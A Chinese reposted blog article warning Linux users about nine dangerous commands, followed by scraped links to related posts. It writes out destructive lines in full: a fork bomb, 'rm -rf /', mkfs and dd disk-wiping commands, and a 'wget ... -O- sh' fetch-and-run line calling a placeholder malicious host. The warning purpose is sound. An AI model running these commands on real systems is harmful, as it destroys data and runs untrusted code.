Linux shell/terminal 命令非常强大,即使一个简单的命令就可能导致文件夹、文件或者路径文件夹等被删除。
在一些情况下,Linux 甚至不会询问你而直接执行命令,导致你丢失各种数据信息。
一般来说在 Web 上推荐新的 Linux 用户执行这些命令,当然,也有人哪些写过这代码的人不这么想,因为这玩意你一写下去就不是玩笑了。
这里我收集了一些对系统有危害的 Linux 代码,帮助你避免他们。请记住:这些代码非常危险,甚至可以经过修改,变得更加有危害性。
还有一些事情需要注意:一些命令只在 Ubuntu 中有 sudo 前缀时是有危害的。其他发行版本的 Linux,则是在作为根目录命令时会有危害。
1. Linux Fork Bomb Command
:(){ :: & };: 以 Fork Bomb 闻名,是一个拒绝服务攻击的 Linux 系统。:(){ :: & };: 是一个 bash 函数。只要被执行,他会不断重复,直到系统被冻结。
你只能重启系统解决这个问题。所以当你在 Linux 界面执行这个命令时一定要注意。
2. Mv Folder/Dev/Null Command
mv folder/dev/null 也是一个危险的命令。Dev/null 或者 null device 是一个删除所有写在这个设备文件上数据的设备文件,但是,该操作提示却是写入操作执行成功。这就是我们常说的 bit bucked 或者 black hole。
3. Rm -Rf Command
rm -rf命令在 Linux 系统中可以快速删除文件夹及其内容。如果,你不知道如何正确使用它,你就只有哭了。
列下m-rf 命令最常见的组合和选择:
rm command :删除 Linux 系统的文件rm -f command:不需提示,删除文件中的只读文件rm -r command 循环删除文件夹的内容rm -d command :删除空目录,如果非空目录则不会执行该操作rm -rf/ command:强制删除根目录中的所有内容和子文件夹(包括写保护文件)命令。rm -rf* command :强制删除当前目录中的所有内容(当前工作目录)和字文件夹rm -rf. command:强制删除当前文件夹目录/子目录中的所有内容 。同 rm -r.[^.]*The rm -r.[^.]* command :删除文件及文件夹,带有删除提示
4. Mkfs Command
如果你不知 mkfs 的作用,那么它也是一个危险的命令,mkfs 之后写的任何命令都将会被一个空白的 linux 文件系统格式化、替代。
下面列举出需要管理员权限,格式化硬盘的命令:mkfsmkfs.ext3mkfs.bfsmkfs.ext2mkfs.minixmkfs.msdos mkfs.reiserfsmkfs.vfat
mkfs.cramfs 也可以和上面的代码做同样的事情,不过不需要管理源权限。
5. Tar Bomb
tar 命令用于将多个文件以 .tar 格式放入一个文件中(存档文件)。Tape Archive (Tar) bomb 可以由他创建。
当为压缩时,就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录。
当收到 tar 文件,定期创建一个新的保护目录,然后在解压前将接受的 tar 文件放到这个目录中,你可以避免成为 tar bomb 的受害者。
6. Dd Command
Dd命令用于复制&改变硬盘分区。如果,你用错地方了,那么也很危险。
下面列举 dd 命令:dd if=/dev/hda of=/dev/hdbdd if=/dev/hda of=/dev/sdbdd if=something of=/dev/hdadd if=something of=/dev/sda
下面这个命令会将整个主硬盘清零:dd if=/dev/zero of=/dev/had
7. Shell Script Code
有时候,你可能会被人坑,给你一个 shell 脚本文件,让你去下载并执行它。该脚本可能会包含一些恶意的或危险的代码。命令形式可能会是这样:wget http://some_malicious_source -O- sh。 wget 将会在 sh 狭隘脚本时下载脚本。
8. Malicious Source Code
也许有人会给你源代码让你编译他。代码可能是正常代码,不过,有一些恶意代码伪装在大型源代码中,如果是这样,你的系统就中枪了。如何避免?仅接受并编译可信赖来源的源代码。
9. Decompression Bomb
你已经收到一个压缩文件,你被要求提取这个看起来很小的文件,可能小到 KB。事实上,该小尺寸的压缩文件包含高度压缩数据。
只要文件解压,上百 GB 数据会被提取,这时候,过大的数据填满硬盘导致宕机,几率就很大了。如何避免?还是那句老话,别手贱,什么文件都去接收,请接收可信任来源文件。
转载自:程序师英文原文:9 Linux Commands & Codes To Be Wary Of原文链接:http://www.techug.com/9-linux-commands-to-avoid?_biz=MjM5OTA1MDUyMA==&mid=407358558&idx=2&sn=b21877f23bf4063fa311185009c1f0b7&scene=0#wechat_redirect1467278881546

9个使用前必须再三小心的Linux命令的更多相关文章

  1. 9个使用前必须再三小心的 Linux 命令-乾颐堂

    Linux shell/terminal 命令非常强大,即使一个简单的命令就可能导致文件夹.文件或者路径文件夹等被删除. 在一些情况下,Linux 甚至不会询问你而直接执行命令,导致你丢失各种数据信息 ...

  2. 为什么要在linux命令前加上 ./

    为什么要在linux命令前加上 ./ ? 简述 执行unix或linux中除了path系统变量外的目录下的命令都要加./. 修改用户的 .bash_profile,在 PATH一行最后加上 “:.” ...

  3. L014-第三关课前linux命令及基础知识考试手把手实战解答小节

    又是一周啊,以后保持一周一个微博吧. 这是一个堂解答考试题的课,那么就以题目来展开吧! 1.如何取得/etiantian文件的权限对应的数字内容,如-rw-r--r--为644,要求用命令获得644这 ...

  4. 转载:Linux命令经典面试题:统计文件中出现次数最多的前10个单词

    1.使用linux命令或者shell实现:文件words存放英文单词,格式为每行一个英文单词(单词可以重复),统计这个文件中出现次数最多的前10个单词 主要考察对sort.uniq命令的使用,相关解释 ...

  5. linux中不小心将rpm命令卸载了,怎么恢复?

    今天在搭建mysql的集群服务时,安装mysql集群服务前,先卸载原来mysql的软件包,不小心将rpm的命令也给卸载掉了,这下惨了,什么也做不了了.在google了翻了好多个页面,甚至官网也看了,没 ...

  6. linux命令行下命令参数前的一横(-)和两横(--)的区别

    原文转自:http://blog.csdn.net/songjinshi/article/details/6816776 在解释这些区别之前我们先了解一下有关linux的背景知识,这个需要大家先认真看 ...

  7. Linux命令行参数前加--,-和不加杠

    参数前“-”的表明后面的参数是字符形式. 参数前“--”的则表明后面的参数是单词形式. 参数前有横的是System V风格. 参数前没有横的是BSD风格. 

  8. linux命令中的参数前的一横(-)和两横(--)的区别

    在解释这些区别之前我们先了解一下有关linux的背景知识,这个需要大家先认真看完就会对这些区别有更深入的了解,对linux也有更深的了解. 关于System V和BSD风格以及他们与Linux的关系: ...

  9. 作死自救日记——不小心修改linux下/etc/sudoers权限的解决办法

    作死自救日记,献给跟我一样不小心作了死的人 ================================================ 今天不小心作死修改了/etc/sudoers的权限,作死命 ...

随机推荐

  1. 8.8-8.10 usaco

    summary:44 没救了...整天刷水迟早药丸! ❤bzoj3892: 区间dp.我原来的思路是dp[i][j]表示前i个数跳过了j次,那么转移可以前k个数转移了j-1次,枚举k就好了,但是这样是 ...

  2. 利用icepdf将pdf文件转为图片

    所需jar 包为icepdf-core.jar.icepdf-extra.jar.icepdf-pro-intl.jar.icepdf-pro.jar和icepdf-viewer.jar. 示例代码如 ...

  3. HttpServerUtility类

    HttpServerUtility是一个工具类,为了在后台处理请求方便获取到一些常用的类型,Asp.net将很多常用的东西封装到这里. 比如可以使用其进行URL编码解码, HTML编码解码等. // ...

  4. [面试题] for() while() 条件判断 赋值问题

    http://group.jobbole.com/7963/#comm-11311 [题目]:下列for循环的循环体执行次数为 for(int i=10, j=1; i=j=0; i++, j--)( ...

  5. jdk 1.5新特性说明

    “JDK1.5”的一个重要主题就是通过新增一些特性来简化开发,这些特性包括泛型,for-each循环,自动装包/拆包,枚举,可变参数,静态导入.使用这些特性有助于我们编写更加清晰,精悍,安全的代码. ...

  6. Java序列化 如何把多个对象存储在一个文件中

    /** * 用于保存模板文件,内容包括: * 1,标志位,1 int * 2,版本   1 int * 3,数据头长度 1 int * 4,预留数据头空间  5120 byte * 5,后续数据长度  ...

  7. 【JMeter】Jmeter引入第三方jar包

    Jmeter做remoteService,里面用到一个实体:clickEntity,是在一个第三方jar包定义的:com.bj58.opt.ad_logparser-0.0.18-SNAPSHOT.j ...

  8. js 中&& 与 ||

    /*** 几乎所有语言中||和&&都遵循“短路”原理,* 如&&中第一个表达式为假就不会去处理第二个表达式,而||正好相反.* js也遵循上述原则.* 当||时,找到为 ...

  9. [转载]su认证失败

    Ubuntu 安装后,root用户默认是被锁定了的,不允许登录,也不允许 "su" 到 root.有人说这是个不好的实践,特别是对于服务器来说.我觉得对于桌面用户来说,这样安全性更 ...

  10. shell管道和重定向

    看了前面一节:linux shell数据重定向(输入重定向与输出重定向)详细分析 估计还有一些朋友是头晕晕的,好复杂的重定向了.这次我们看下管道命令了.shell管道,可以说用法就简单多了. 管道命令 ...